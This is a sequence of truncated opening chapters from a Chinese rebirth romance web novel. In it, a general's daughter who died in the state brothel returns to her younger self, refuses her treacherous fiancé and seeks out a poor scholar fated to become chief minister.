《嫁首辅（重生）》 1. 复生 《嫁首辅（重生）》全本免费阅读 虞雪怜是横死在教坊司的。 春雨细密地飘洒，青石板上的斑斑血迹慢慢淡化，周围站着三两个撑伞的锦衣卫，冷脸商讨着如何处置罪臣之女的尸首。 一个身姿单薄的女子被雨淋湿了衣裳，模样狼狈，她正低低地哭泣。 “有什么好哭的？虞雪怜在教坊司待的这一年，给咱们招了多少祸？她还当自己是镇国将军府的尊贵嫡女啊，进了教坊司片刻不安生的。” 穿竖领长衫，梳三绺头的明艳美人打着黄绣伞，悠悠地走到女子身边，说道：“温昭，我看她巴不得去死，你别在这儿痛哭流涕了，当心锦衣卫以为你跟她有何瓜葛，再给你抓了去，那到时真是有你哭的。” 温昭渐渐止住哭声，回道：“虞娘子自顾不暇，却在教坊司替我出头。她今日横死在这里，我难过不行吗？他锦衣卫管得着吗？虞娘子的父亲蒙受了天大的冤屈，她只是想为自己的父亲讨回公道而已。姐姐，你忘了吗，我们的爹爹当年也……” 温嫱忙捂住温昭的嘴巴，柳眉紧蹙，责怪道：“你不想活了？说这些不要命的话。” 她这妹妹是个倔脾气，吃软不吃硬，“你若不是我亲妹妹，今日我才不管你的死活。虞娘子现在死了，总归算是个解脱，她活着是白受罪。我知你心里不好受，可咱们已经不是良家女子了，也没有抵抗的能力。行了，快跟我回厢房，你想怎么哭都成，等过几日虞娘子头七，咱们给她烧些纸钱就是了。” 温昭的面容苍白，目光仍停留在地上的那具女尸，道：“姐姐，我想给虞娘子立个牌位。” “好，咱们回厢房说。”温嫱谄媚地朝锦衣卫笑了笑，旋即牵着温昭离开院落。 躲在屋檐的几个娘子也纷纷散去，她们听闻虞雪怜死了，本想着看个热闹，冒雨过来，结果瞧了半个时辰的哑戏，好没意思。 按惯例，以往若是哪个教坊司的娼妓无端暴毙，需得查明死因，可此女有罪在身，她父亲虞鸿和长兄虞牧在一年前被圣上以谋逆罪问斩。镇国将军府的家丁死的死，逃的逃。女眷则全部流放至西北。 有些男囚还没到西北，便死在了半路上，更别说女子能否抵得住这一路凶险了。 虞雪怜原是也要被流放到西北，多亏了她的未婚夫临川侯，托司礼监掌印在圣上那儿求情，恳请圣上网开一面。圣上这才让虞雪怜进了教坊司。 天色灰蒙，今日晋王提前吩咐过，他要带着武仁伯于戌时来教坊司喝酒，让徐嬷嬷挑一群姿容姣好的小娘子服侍。 “那便按老祖宗的指令，把这女子的尸首扔到城外的乱葬岗。” 离戌时不远了，尸体要尽早抬出教坊司，免得扫了晋王的兴致。 “爷，这娘子看着挺瘦，怎生搬着甚重？这可比八十斤的大米还沉。”两个抬尸的小厮一前一后走着，吃力地和锦衣卫统领搭话。 “蠢货，她现在是死人，岂可与活人相提并论？”统领嗤笑道。 轰隆——连续两道惊雷震得雨势越发猛烈，天色霎时变得乌黑。 虞雪怜就站在门槛前，看着自己尸体被小厮当作不值钱的物件，粗鲁地扔在木板车上。 她悬空着脚，浑身轻盈地飘出教坊司的大门，望见她最引以为傲的样貌此刻极其恐怖，两腮凹陷，双唇黑紫，像是发了霉的桑葚…… 虞雪怜深深地叹息，她已经不在乎自个儿是丑是美。当下要紧的是，她的肉身死了，那为何没有黑白无常带她走？她的爹娘是不是如民间话本所说，跨过奈何桥，重新去投胎了？ 没有人能回答她的疑问，她连同伴都找不到。 虞雪怜漫无目的地在金陵城游荡，原以为人死了便是解脱，但如今却是另一回事，不仅得不到解脱，只得眼睁睁看着那群徇私枉法的人寻欢作乐，白日宣淫。 话本里讲的厉鬼索命，尽是骗人的。她现在是一缕孤魂，除了旁观，什么也没法做。 虞雪怜的怨念一日比一日多，她目睹未婚夫袁丞春风得意，风光无两地娶新妻。亲手砍掉爹爹头颅的锦衣卫摇身成了齐王的左膀右臂。司礼监掌印冯璞玉和内阁首辅陆隽向皇帝提议，拆毁镇国将军府的府邸，不准虞氏后代入朝为官。 她的魂魄始终困在金陵城。直到内阁首辅陆隽离世，南郢的几个亲王为夺皇位，各自率军攻城，城外横尸遍野，天好似裂开了个窟窿。 这次是要赴黄泉了吧？ 紧接着，虞雪怜失去了知觉，两眼发黑，恍若此刻才是真正的身死——她松了口气。 但愿，但愿没有来世。 * 明亮灼热的光穿过楠木花窗，夏蝉伏在栏杆上，幽幽地盯着房内。 六月时节燥热，兰园西厢房满是嬉闹，一对丫鬟在房里捧着凉茶正说着闲话。其中穿桃粉色抹胸，肩膀裸露着的丫鬟擦了擦脸颊的汗，娇柔笑道：“姑爷给咱们娘子的聘礼是用好些个轿子抬来的，咱们娘子真是有福气的人。等娘子嫁到临川侯府，哎，良儿，咱们这小日子肯定也过得舒舒服服的。” “晚香，你小点声。”良儿打扮清丽，身着素白襦裙，头戴银蝴蝶发钗。她瞟了一眼屏风，道：“当心吵醒娘子。” 晚香摆手说道：“不怕。娘子昨夜吃了酒，睡得熟，哪有那么容易被吵醒？” “良儿，你晓得吗？姑爷他最青睐温婉恬静的姑娘，你平常不爱跟别的房里的丫鬟说闲话，又会读书识字。你想没想过，做姑爷的……”晚香这才压低声音，嘴唇凑近良儿的耳边。“你样貌不差，若到时进临川侯使点手段，我再帮衬你一二，兴许能做姑爷的小妾呢。” “你莫要胡言乱语。”良儿羞红了脸，轻嗔道，“奴婢怎可跟主子争宠？这种话你以后不许说了，娘子对我不薄，我不做背叛娘子的事。” 别院的丫鬟颇是羡慕她和晚香，娘子生性大方，从来没把她们当做下人使唤，脏活重活全给小厮干。每月赏她们胭脂水粉，银钗耳铛，是以在镇国将军府，她俩不像是丫鬟，倒像是妾室生的庶女。 晚 2. 拒婚 《嫁首辅（重生）》全本免费阅读 虞雪怜的厢房离后花园并不远，她不紧不慢地让良儿给她梳发髻。 “娘子想梳什么发髻？”良儿捋顺虞雪怜及腰的乌发，说道，“小侯爷喜欢娘子梳高髻，昨儿个娘子梳的是飞仙髻，今日不如梳朝天髻？” 娘子不喜欢每日都打扮一模一样的，出门游玩更是悉心装束，去见小侯爷也是从头到尾要精致的。 虞雪怜摇头道：“按简单的来，梳低髻就好了。” 能够死而复生是件不易之事，她现在最想见到的人是母亲和爹爹，可不是袁丞这个禽兽。 镇国将军府是景元十三年出的事，如今是景元八年，她有足够的时间去帮爹爹躲避危险，帮娘亲治好咳疾。 袁丞提亲一事，让虞雪怜非常伤脑筋。 他平白无故地突然来求娶她，且此事已经与上辈子有了差别……虞雪怜越想越不安，镇国将军府的灾祸会不会提前。 虞雪怜默默叹息，先解决完袁丞这个麻烦，她要快点去正厅找母亲。 良儿不擅长梳低髻，两只手忽然不知该怎么弄才好，她看娘子凝眉深思，这一夜之间，娘子跟从前相比，稳重了太多。 弄完发髻，虞雪怜随便挑了件月白主腰，绣有芙蕖花的长比甲，内里穿的金丝对襟长衫是良儿给挑的。 那边去正厅传话的晚香回到厢房，说小侯爷本来准备坐马车走了，知道娘子约他去后花园见面，就吩咐马夫再多等候半个时辰。 * 这会儿袁丞在后花园的凉亭坐着，琢磨虞雪怜有何重要的事。 他也是个极其在意穿衣打扮的，产自苏州丝绸做的绯红暗花纱褶，腰佩凤纹羊脂玉玉佩，黑亮的头发用青簪束着。 袁丞手中拿了一把印着诗词的折扇，漫不经意地看着站在拱门处的小厮。 虞雪怜睡到日上三竿起，能有什么要紧的事？他撇了撇唇，他认识虞雪怜有五年了，她小气爱吃醋，见到哪个娘子和他搭话或一同用膳，便跟他闹脾气耍脸色。 朝他耍完脸色后故意邀请别的郎君去茶楼听戏，这是她对付他的手段。 可他偏偏吃这套，甘愿花费心思去哄虞雪怜。 昨夜他未去丰乐楼给虞雪怜过生辰，想来她是在生这件事的气。 袁丞摩挲着折扇，无奈地轻笑。向虞雪怜提亲是他上个月做的决定。 他活了二十年，极少做梦，自立春后他却夜夜被梦魇着，大片的火海包围临川侯府，父亲锒铛入狱——他在梦里宛若木偶，出不了声，浑身不得动弹，无能的目视着父亲成了阶下囚。 而抓获父亲坐牢的，是他未来的岳父，虞鸿。 不仅如此，他梦到虞雪怜嫁给了一个老男人，那男人在梦中似乎权势滔天，婚筵上皆是在朝中有势力的官员。 袁丞不认为自己是善妒之人，这些让他不舒服的梦，他才发觉何为嫉妒心、厌恶心。他看不清这男人的五官，凭着梦里的所知所感，那老男人比虞雪怜年长得多，将近三十岁的样子。 眼见着虞雪怜如含苞待放的娇花，被老男人采撷，袁丞只想弄砸婚筵。 他要把虞雪怜娶进临川侯府，这是不需犹豫的决定。 镇国将军府在圣上那儿有举足轻重的地位，父亲也满意虞雪怜做临川侯府的儿媳。 “袁丞。” 一道冷漠又熟悉的声音传来，袁丞恍然抬首，蓦然笑道：“穗穗。” 虞雪怜的身量在女子当中属于较高的，她低眸凝睇，袁丞长了一双狐狸眼，笑时含情。 她垂落在袖间的手掌紧紧地合拢。 这张她恨之入骨的脸庞，这个亲手送她到教坊司的人，再次出现在她面前，她除了安安静静地看着，其他都不能做。 虞雪怜几乎忘记曾经是用哪种语气来跟袁丞对话，她移开视线，故作轻松地问：“你要娶我吗？” “是。”袁丞起身，拉近和虞雪怜的距离，他从仰视转为俯视，“虞伯父答应把你许配给我了。” 虞雪怜莞尔道：“我爹爹答应了，可我没答应要嫁给你。” “穗穗在生我的气？”袁丞伸手抚摸着虞雪怜的鬓发，她今日没有施粉黛，发髻也梳得简单潦草，不同以往的精雕细琢，但别有风情。 袁丞觉得虞雪怜是急着见他，才减去了繁琐的打扮，现在不过还是和他闹脾气。 虞雪怜推开袁丞的手，笑问道：“谁生你的气了？” “脸皱巴成这样了，还不是生气？”袁丞并不讨厌虞雪怜对他甩脸色，相反，他喜欢她的倔脾气。 “穗穗是在气我昨日没陪你过生辰么？我这个月忙着准备聘礼，母亲看了黄历，你知我母亲是迷信了点，她非要我今日辰时来府上提亲，不许我昨夜去见你。” 言毕，袁丞从怀中取出方形锦盒，说道：“补给你的生辰礼。” 这方形锦盒流光溢彩，虞雪怜略微看了一眼，却无要收下的意思。 “袁丞。”虞雪怜唇角嗫嚅，露出为难的表情，说道，“你把聘礼拿回去吧，我也不要生辰礼。” 她在来之前便计划好了，与其跟袁丞撕破脸皮，不如折磨报复他。 袁丞在镇国将军府临危之际落井下石，在教坊司那般羞辱过她，这笔账她不能轻易算了。 “你不想嫁给我？”袁丞僵硬的问。 他不相信虞雪怜会拒绝他。 袁丞耐着性子，说道：“穗穗，你在耍脾气。” “不。”虞雪怜惜字如金地说，“袁丞，我不想嫁人。” “是你问我何时娶你为妻，如今我来向你提亲，你说你不想嫁人？”袁丞面露愠意，虞雪怜的话像是巴掌落在他脸上，给了他一耳光，“你若无意嫁我，当初屡屡招惹我，为的是现在作践我吗？” 虞雪怜不由在心中冷笑，这才哪儿到哪儿，若说要作践袁丞，还远远不够。 “袁郎，你这是怎么了？”虞雪怜叫出这令她作呕的称呼，杏眸泛起忧伤。 “我爹爹在沙场征战了半辈子，我却没有好好孝顺过他。母亲要教我操持家务，我却总是找借口到外边玩，宴会一个接一个的。我不是对你耍脾气，我只是想陪伴在父母身边孝顺他们，若是我答应你，那我待在镇国将军府的日子还有几天呢？” 她说得平缓柔和，黛眉似写满了 3. 兵书 《嫁首辅（重生）》全本免费阅读 正厅内，虞鸿横眉坐在官帽椅上，看着装有聘礼的木箱被小厮们尽数抬走。 虞雪怜知道自己免不了要挨一顿爹爹的责骂。 毕竟在爹爹看来，她拒绝袁丞的提亲，既有辱临川侯府的脸面，又影响她的名声。 “穗穗，你跟母亲说，是不是袁丞欺负你了？”陈瑾细声说道，“袁丞那孩子也不露面，只派这些小厮把聘礼抬走，真是不像话，他这是视婚姻为儿戏。” “哼！”虞鸿拍着桌案，极力控制着想要发火的情绪，案上放的茶碗叮当叮当地响，他说道，“好端端的，袁丞怎么会突然这样？夫人，你不要老是把问题推给人家，穗穗如今养成这个任性的脾气，全是你惯出来的！” 虞雪怜鼻子一酸，即使爹爹动再大的怒，也还是唤着她的乳名。 她上辈子过得荒唐糊涂，仗着爹爹是镇国大将军，在外不知收敛，贪恋情爱。毁坏自己的名誉不说，更是伤了父母的心。 而爹爹为南郢披荆斩棘，到头落得五马分尸的下场，昔日风光的镇国将军府，一夜之间落魄潦倒——虞雪怜停止去回忆那段痛不欲生的日子，她垂下眼帘，紧紧握着母亲的手。 陈瑾心疼地看着女儿闷声不响的模样，斜眼睨着虞鸿，问道：“穗穗哪里任性了？袁丞若是没犯错，听老爷的意思，你是在责怪穗穗犯错了吗？还未成亲，袁丞便威风的不行，这聘礼说送就送，说搬就搬，把镇国将军府当作什么了？把穗穗当什么了？” 她自知闺女素来是要强的，金陵城那些世家子弟常议论穗穗是风流女娘，和好几个郎君纠缠不清。 穗穗不曾向她诉过委屈，没有哪个母亲会相信这些诋毁自个儿闺女的话。 虞鸿的怒气也止步于此，他默了半晌，直到最后一箱聘礼被搬走，说道：“穗穗还不任性吗？她这样变幻莫测，不安稳，往后金陵城还有哪个府上的郎君愿意娶她，她的名声——罢了，她的名声早就不好了。” 身为父亲，面对女儿外边流传的风言风语，是做不到心平气和的。他当然相信女儿无意要和那些男子纠缠，但旁人会相信吗？ 今日袁丞来府上提亲，他是很高兴的。 临川侯府在南郢声名显赫，临川侯乐善好施，每年抽出一半的俸禄做香油钱捐给寺庙，受过侯爷恩惠的老百姓数以百计。 袁丞那孩子的习性其实跟穗穗的差不多，总言之，这桩婚事他是满意的。 结果他女儿打了临川侯府的脸面，伤了袁丞的心，这桩婚事成了笑话。 “爹爹，我和袁丞不合适。”虞雪怜主动开口解释，她不能让爹爹以为她在玩弄感情。 “这件事的确是我有错，我应该趁早与袁丞断开来往。其实他今天突然来府上提亲，着实吓到我了。因为他上个月跟国公府的赵娘子用了午膳，且赵娘子同他是青梅竹马的关系，另外……袁丞喜欢去风花雪月之地解忧，那里有个女子是他的知己。” “女儿知晓旁人在背后是如何议论我的，但女儿一向是有底线的，袁丞是对我好，可他不单是只对我好。至于女儿的名声，爹爹会像外人那样，把女儿看成水性杨花的女子吗？” 虞鸿闻言坐下，耳边乱嗡嗡的，良久才道：“穗穗，是爹的话说得重了。爹在顾虑你以后难遇良缘，你是我的亲女儿，我岂会像外人那样看低你。” “爹爹，倘若此事影响了你和侯爷的交情，女儿愿亲自去临川侯府赔礼道歉。希望爹爹不要生女儿的气了。”虞雪怜认真地说，“女儿过了十七岁的生辰，遇人遇事有了主见，不想糊里糊涂地过日子了。女儿想嫁给一个方方面面都合适的郎君，最起码要知上进，不到处拈花惹草。” 虽然如今那群讨人厌的纨绔子弟议论她整天风流快活，是个多情花心的女子。但那又怎样呢，她是死过一次的人了，这些流言蜚语终是过眼云烟。 老天爷给她机会复生，是拯救镇国将军府的，她不会蠢到重蹈覆辙。 嫁给袁丞跟自寻死路没有区别。 虞鸿惊讶地睁圆了眼睛，这番话不像是他女儿能说出来的。 他看向陈瑾，暗暗思忖，夫人年轻时便稳重成熟，见解独特，不似他这个粗糙的老爷们儿，碰着事情就烦躁，是夫人告诉他，靠蛮力是解决不了问题的。 女儿说的这番话，颇有夫人的影子。有句俗话，女大十八变，女儿突然开窍了也是有可能的。 陈瑾咳嗽道：“老爷，袁丞这孩子为人处事是不错，可他常去风花雪月之地，等穗穗嫁进临川侯府，他若是还在外消遣，穗穗独守空房。这日子能过得长久吗？” “穗穗长大了，她有了自己的想法，这不是件好事吗？他们临川侯府如果觉得在咱们府上丢了脸面，我陪着老爷去赔礼道歉，若让穗穗道歉，我心里不舒坦。” 虞鸿点了点头，横竖这桩婚事是黄了，他们做父母的，得替儿女考虑。 “夫人在府上陪着穗穗吧，我明日带礼去见见临川侯，跟他说明理由。” 虞雪怜说道：“爹爹，你一定不要告诉临川侯，袁丞喜欢去风月场所。” 虞鸿展颜笑道：“爹爹不是笨驴，哪能跟他老子说他的坏话？他老子迷信，我就说找了算命先生，你们俩八字不合，做夫妻争吵不断，霉运缠身。” “你不是笨驴，脾气却是属驴的。不分青红皂白便指责穗穗任性，话里话外都向着袁丞，”陈瑾数落道，“老爷这会儿倒有心思和穗穗说玩笑，方才至于火冒三丈吗？” “母亲，爹爹也是怕我日后嫁不出去。” 虞雪怜抱着陈瑾的胳膊，撒娇道：“母亲别生爹爹的气了，女儿昨夜吃醉了酒，现在肚子空空的，母亲能不能教女儿做莲子粥？女儿决定从今日开始要好好孝敬母亲和爹爹，跟着母亲学操持家务，嗯……学刺绣！多读书，继续学爹爹的武功，当一个学识渊博，能文能武的女娘。” 她上辈子便跟着爹爹学了一点防身的武功，射箭略懂七八成，是以她要接着把武功学精学透，出门办事就不怕出意外了。 陈瑾笑着去摸虞雪怜的脑袋，说道：“好，穗穗过了十七岁的生辰，果然是长大了。母亲要先带你去小厨房看看，那地方你可是从来没去过，母亲怕你失手给你爹的这点儿家当全烧了。” 虞雪怜吐了吐舌头，笑问道：“母亲，我哪有那么笨？” 瞧见女儿有了这般的转变，虞鸿的心里隐隐有些不踏实，事出反常，归根到底是要有个原因的。 虞鸿推测不出来究竟是个什么原因，除了袁丞的作风问题，他觉得这中间还发生了其他的事情。 等夜里问问夫人再说吧。 …… 更阑人静，兰园挂着的灯笼散发着柔和的光。 虞雪怜端坐在书案前，手执毛笔在一卷竹简上标注着什么。 “以迂为直，以患为利。故迂其途，而诱之以利，后人发，先人至，此知迂直之计者也。” 虞雪怜若有所悟地念着这句话。 她从小厨房回来就钻到爹爹书房找出这本《孙子兵法》，埋头苦读了半天，费脑筋不说，有些字她都不知该怎么读。 她把看不懂的圈了起来，等明日去请教爹爹。 她长兄虞牧是个榆木脑袋，现今在军营带兵，是指望不住的。 要查出上辈子陷害爹爹的贼人，她必须掌握一些用人的手段和伎俩，仅靠她一个人的力量，是行不通的。 敌在暗处，她需得主动引蛇出洞。 爹爹上辈子在朝廷的好友不少，镇国将军府在金陵城也是威严的象征。 可官场哪有真正的朋友？虞家 4. 厄运 《嫁首辅（重生）》全本免费阅读 雨渐渐小了，大伯和妇人却是吵得激烈。 茅屋的右边是一座更不入眼的草房，院中空得厉害，耕田用的农具皆是没有。 草房的泥窗是干净崭新的，只见男子坐在窗前，风轻云淡地在烛光下看书。 离秋闱还有不到三个月。 陆隽平日在家温习四个时辰的功课，剩下的时间便去慈溪镇上的客栈做杂活洗盘子。 偶尔把写的字画放到集市去卖，赚来的银子一半拿来买书买米，一半还地主的债。 他在花坞村没有亲戚，人缘也不好。 村民对他是避而远之，能躲多远就躲多远。 陆隽的父亲年轻时是有名的童生，那几年南郢会读书的人不多。 可惜陆父乡试屡屡不中。邻里村庄的男女笑他不种地，偏要做白日梦，读那么多书，又不能当饭吃。 陆父受不住打击，心灰意冷，终日借酒消愁。 家里的积蓄见空，陆父放弃了做官的梦，开始下田耕地。但陆父大抵是没有种地的命，别的村户一年可产三百斤的水稻，而陆家却只产一百斤都是够呛的了。 眼看着孩子长大了，陆父把做官的梦寄在了陆隽的身上，送他去了学堂读书。 靠自家的地养活不了一家三口，陆父想着去租地主的田，这样一来就能多种几十亩粮食。 哪知这地主是个黑心肝的，刚开始菩萨低眉的，说不要那么多租金，只需年尾给他交点税就好了。 等到年尾，地主讲的税率高的直要把陆父吓死过去，然为时已晚，那地主说给不起不要紧，这些账让官府来算。 慈溪镇的官府和地主狼狈为奸，陆父便认命背上了高额的欠债。 陆家的厄运还未结束。那时陆隽不过十四岁，陆父积劳成疾，大夫说他的脊椎受损，重活是万万不能做了。 养家的重担落在了陆隽的娘亲身上，陆隽不想看着爹娘食不果腹地供他读书。 即便学堂的先生说他天资聪颖，只要他去参加秋闱，保准将来能考中状元。 爹的病情恶化，抓药要银子，请大夫要银子，调理身子也要银子。娘亲没日没夜地刺绣，做针线活。 陆隽只知道再这样下去，他会失去自己的爹娘。 他是家里最年轻的男子，可以做爹娘的顶梁柱了。 陆隽退学回来，把家里的活儿都干了，下田种地，喂养鸡鸭，去镇上找差事做。 日子好不容易好过一些，陆父却离世了，娘亲又随之病倒，那年陆隽十八岁。 “啊哟，我说他怎么了呀？从咱们挨着他陆家以后，咱们有一件顺心事吗？我心里有怨不能说吗？糟老头子，你成天就会惹我生气！” 隔壁李婶的声音盖过雨声，透过窗户传进来。 陆隽不为所动地翻着书，他已经习惯周围人视他为瘟疫的眼神，在背后议论他也很正常。 大伯应该是在哄着李婶消气，陆隽慢慢听不到他们在说什么了。 “隽哥！”窗外露出少年憨厚十足的脸，他顶着荷叶，穿着一件竹衣马甲，全身湿淋淋的。 他亮着眼睛，笑道：“隽哥，你这么晚还没睡啊？” “本来睡着了，被雨吵醒了。”陆隽开了窗户，问道，“可是有急事找我？” 少年咂了咂嘴巴上的水珠，说道：“没啥急事，就是跟我爹吵架了。这不是下大雨了嘛，我爹让我去收麦子。我一个不留神，滑了一跤。” “我爹骂人那没完没了的，说我干啥啥不行，所以我就跑出来了。在家是睡不成安稳觉的。” “外面雨大，进屋说吧。”陆隽在少年说话间便开了房门。 吴阿牛是村里边最愿意找陆隽说话的人了，他家里单他这么一个儿子。 他爹娘找算命先生看过，这孩子的命好极了，不是种田的料，以后必有大出息。 是以吴阿牛的爹娘将他视如珍宝，从不让他下田种地，不是种田的料，那肯定是当官的料啊。 为了省钱，也不顾虑陆隽会不会给他家带来霉运，他爹娘让吴阿牛跟着陆隽学读书识字。 “隽哥，今晚我能和你挤一张床吗？”吴阿牛脱掉竹衣马甲，擦着身上的水，嫌弃地说道，“我是不想回去挨我爹的骂了，他讲话一点都不斯文。” 陆隽嗯了一声，说：“你的被褥在木柜。” 很显然，吴阿牛不是头一次来陆隽家里留宿。 “用啥被褥呀，这天要热死了。”吴阿牛动作麻溜地躺在铺着草席的矮榻，他光着身子，问道，“隽哥，你说今年的秋闱会不会很难？” “秋闱不难，难的是殿试。” “难也跟我没关系了。我和我爹说了，让他放弃叫我做官的梦。龙生龙，凤生凤，老鼠的儿子会打洞，我爹娘怎不晓得这个道理呢？他们俩目不识丁，指望儿子考状元做大官，嘿，那不是鸡蛋下山吗？反正这秋闱我不参加，我宁愿去种地。” 吴阿牛不讨厌读书，但若是识字就能当官了，南郢会识字的人岂不是都可以当了？ 他跟着隽哥读了好几年的书了，清楚自个儿不笨，却也不聪明。他至今是非常怨恨算命先生的，害得他爹娘整日做春秋大梦！ 接着，吴阿牛苦恼地说：“隽哥，我是不是废物啊？你辛辛苦苦教我读书识字，我爹娘也不给你银子……眼看着我快到娶媳妇的年纪了。唉，一事无成的，像个窝囊废。” 陆隽侧过身，低眸看着满脸迷茫颓废的少年，笑道：“阿牛，我今年二十四岁了。欠债未还，功名未得，妻子未娶。说起来，我才是废物罢？” “隽哥，你怎么会是废物。”吴阿牛反驳道，“你天生是读书的料，咱们花坞村唯一有本事能当官的就是你。” “你不参加秋闱，日后有何打算？”陆隽问。 吴阿牛沉默许久，挪着身子到了床边，道：“我打算赚银子，娶媳妇，在镇上买座宅子。” “隽哥，明日你带我一起去慈溪镇呗，我想找个差事做。” 陆隽摇头说道：“你爹娘若是知道了，不会同意的。” “隽哥，你放心好啦。我和爹娘说了，我读的书足够在镇上找个体面的事做了，隽哥教过我算账，我准备先去酒楼给掌柜的当伙计，等熬出头了，做账房 5. 找他 《嫁首辅（重生）》全本免费阅读 厢房的墙角放有紫檀香炉，淡淡的莲花香清幽恬静。 这是少年第一次来兰园，第一次进女子的闺阁。他赢了比试后，就跟着虞雪怜来了兰园。 少年像块石头矗立在房内，纹丝不动。 虞雪怜把良儿她们打发到小厨房去做马蹄绿豆汤，少说要半个时辰才能好。 “你叫什么名字？”虞雪怜轻摇仕女扇，端坐在玫瑰椅上，问道，“是何时入的镇国将军府？” “叫虞一，八岁入府。” “虞一……这么简单，是我爹给你起的名字吗？” 少年点点头，他从记事起就跟着兄长在镇国将军府练功了。如今兄长受到虞将军的提携，在西北的军营做百夫长。兄长说他愚钝，不适合进军营，让他先努力在府邸练功。 虞雪怜沉吟片刻，说道：“你日后要做我的贴身护卫，那我便重新给你起个名字。” 她凝思了足有半盏茶的工夫，脑子里却想不出适合少年的名字。 少年安静地等待着自己的新名字，神态略微放松。 虞雪怜一本正经地翻起摆在案边的竹简，这两天她不仅认真读了兵法，还看了上辈子没碰过的诗词歌赋。 “何时杯酒看浮白，清夜肴蔬粗满登。浮白——浮白。”虞雪怜的手指轻叩竹简，抬眸望向少年，说道：“浮白，以后你就叫这个名字。” 他的样貌经得起细看，隐约有几分书生之气，圆润的眼睛澄澈分明。任谁瞧，都想不到他的武功了得。 虞雪怜问道：“浮白，你知道怎么乔装打扮吗？” 浮白总算有所动弹，他径直走向书案，拿起毛笔往脸上涂抹，进而摘掉束发的木簪。 “很好。”虞雪怜起身，说道，“我以后差遣你做的事情，不能告诉我爹爹，也不准透露给旁人，明白吗？” 浮白不假思索地应道：“明白。” 其实在偏院的护卫私下是喜欢讲闲话的，有时会提到虞娘子。在他看来，那些话没有丝毫意义，所以他不爱听，亦不会跟着他们讨论闲事。 他和兄长的命是虞将军救回来的，给救命恩人的女儿办事，应当不是吃里扒外。 虞雪怜觉得这次她不会看错人，她需要的正是像浮白这样的护卫。 “我要你去找一个姓陆的男子。他是书生，家境贫寒，年纪已经过了弱冠之年。五天之内，能查出来他家在何处吗？”虞雪怜不方便说出陆隽的名字，陆隽未来终究是内阁首辅，倘若她现在道出他的名字，反而会惹麻烦。 浮白的话依然少得可怜：“三天，可以查得到。” 兄长尤为擅长的是搜查嫌犯，虞娘子给出的线索不多，但都是紧要的。 金陵城的贫困人家住在深巷，那一片挨着城门，想找出姓陆的书生，三天就可查到。 虞雪怜笑道：“我不着急，你需得查仔细些，不能出差错，否则我只能把你当作没用的小护卫放在身边了。” 这条路悠远狭长，凶险难料，放狠话立威是必要的。 浮白颔首说：“查得出。” 虞雪怜倒是欣赏浮白与生俱来的自信，她接着叮嘱了他在办事时莫要暴露身份，不要惊动那个姓陆的书生。 * 骄阳闪着金色光泽，天际不见一朵云彩。 兰园的竹林青翠茂盛，遮住了刺眼的金光。虞雪怜站在阁楼上，单手扶着栏杆，双眸被绿意浸染。 “走马巷查了吗？”虞雪怜蹙眉问。 “查了，没有。”浮白用了两天的时间去贫民巷找姓陆的书生。有些老房子久不住人，有些男子讲话粗鄙，另有娶妻成家的，都不是虞娘子要找的书生。 除了贫民巷，他还去了金陵城的两家书院，这里边有姓陆的，但年纪却未及弱冠。 浮白低首说道：“我领罚。” 他向虞娘子承诺三天可以查得到。现在过去了五天，他没有查出那书生的踪影，该受罚。 “想在金陵城查一个只知其姓的贫苦书生，不容易。”虞雪怜伸出手掌，接下飘落的竹叶，说道，“你这几日不曾停歇，责罚就免了。查不出来便说明此人也许不在金陵城呢。” 浮白不失她所望，不是办事磨蹭的人，她轻易不想责罚浮白。若陆隽本人身在他乡，纵使翻遍整个金陵城，也是无用之举。 烈阳往阁楼这边移动，虞雪怜怕晒，转身回到厢房。 这座阁楼原是爹爹让她学古筝用的，她上辈子基本没怎么来过这里。 虞雪怜随意地碰着琴弦，说道：“今日你好生歇着，明日去城外的村庄看看。” 她顿了顿，莞尔道：“这次回来带些农户们卖的野猪肉。” “是。”浮白微微躬身，习惯性地作揖告退。 府邸的丫鬟婆子得知虞雪怜在偏院收了个贴身护卫，一开始不禁好奇，娘子出府带的从来都是小厮，这突然要护卫是作甚？ 她们不好妄自揣测，而这护卫每天早出晚归，是以总有小丫鬟非常留意浮白。见他手中提的有糕点蜜饯，肉脯果干，尽是些好吃的好玩的。 如此看，他不过是个给娘子跑腿的护卫。 虞雪怜这几天可以说是大门不出，二门不迈。有尚书府的高娘子约她去打马球，她以身体不适的理由婉拒了。 良儿请了大夫给虞雪怜诊脉。陈瑾忧虑女儿是因婚事起了心病，故而在旁陪着。 虞雪怜想趁此机会让大夫给母亲诊脉。 母亲的咳疾表面不显，平素咳嗽根本没把它当回事。直到后边咳出血，母亲变得多饮多食，嗜睡疲乏，人瘦了一大圈。爹爹不停地请大夫来看，大夫说母亲的病发现得太晚了，哪怕用药恐也活不了多少时日。 再然后，母亲整日整日咳血，说不出一句完整的话——她记得母亲临死前费尽力气握住她和长兄的手，笑了笑，说外祖母要带她走了。母亲在痛苦中咽了气。 这一世的镇国将军府不会像上辈子那样凄惨。虞雪怜打定主意要治好母亲的病，请的大夫是金陵城顶顶好的，治过各种疑难杂症。 那大夫把完脉，表情自然。他道夫人的咽喉有点小毛病，肺经热盛，许是天气的问题。 大夫随之开了药方，嘱咐陈瑾要饮食清淡，切莫吃辛辣刺激的。 陈瑾一向认为自个儿的身体好，但听 6. 字画 《嫁首辅（重生）》全本免费阅读 虞雪怜快要被颠簸的山路弄得身子散架了，她头痛欲裂地掀开车帘，见离山坡还有老远的距离，两眼一昏地躺了回去。 她知道陆隽家境贫寒，但怎么也想不到，他的家在大山上的一处小村落。 浮白斜背长剑，犹如坚石坐在另一侧的车窗旁。 他面露犹豫，过了良久，问道：“下了这座山，就到慈溪镇了。那里治安不好，我能跟在你身后吗？” 慈溪镇虽归属金陵城管辖，然地势环境不好，是长在大山下的小镇。百姓生活拮据，受恶霸欺压。他听闻慈溪镇的地主比农民还要多，百姓的日子不好过，便想着来此地找姓陆的书生。 他刚来此地，就领教了恶霸的厉害，当街调戏良家女子，衙门的捕头见了竟也视若无睹。 浮白本不想多事，可那女子实在可怜，他出手带女子逃了。恶霸手底下的市井泼皮连追了他几条街，念及虞娘子的嘱咐，他没有用武，乔装打扮成了姑娘，才脱了身。 虞雪怜撑起身子，不慌不忙地说道：“等到了，你当作是我弟弟就好。” “你带的剑留在马车上，别带出去。”虞雪怜不担心治安问题，她说，“若这次碰着恶霸，你直接出拳教训他们，不必顾忌。” 浮白把长剑取下，他贴身的武器不止这一件，腰间别了一把短匕首，对付那些市井泼皮足矣。 “你说陆，陆隽遭过恶霸的欺辱？”虞雪怜想用谈话来缓解头晕，而且她发现近来浮白的话稍微多了一点，会主动问她话。 